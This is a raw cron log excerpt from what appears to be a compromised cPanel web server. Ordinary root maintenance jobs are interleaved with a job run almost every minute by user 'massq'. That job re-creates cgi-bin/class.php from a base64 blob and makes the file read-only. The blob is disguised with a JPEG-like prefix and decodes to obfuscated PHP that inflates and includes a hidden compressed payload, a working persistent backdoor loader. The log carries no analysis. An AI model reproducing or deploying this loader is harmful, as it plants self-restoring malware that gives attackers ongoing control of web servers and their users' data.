Nov 13 21:13:01 server CROND[28084]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:14:01 server CROND[28837]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:15:01 server CROND[29737]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 21:15:01 server CROND[29738]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:15:01 server CROND[29739]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 21:16:01 server CROND[30670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:17:01 server CROND[31648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:18:01 server CROND[32583]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:19:01 server CROND[1004]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:20:01 server CROND[1869]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 21:20:01 server CROND[1872]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 21:20:01 server CROND[1874]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 21:20:01 server CROND[1875]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:20:01 server CROND[1873]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 21:21:01 server CROND[2784]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:22:01 server CROND[3642]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:23:01 server CROND[4525]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:24:01 server CROND[5289]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:25:01 server CROND[6166]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 21:25:01 server CROND[6167]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 21:25:01 server CROND[6168]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
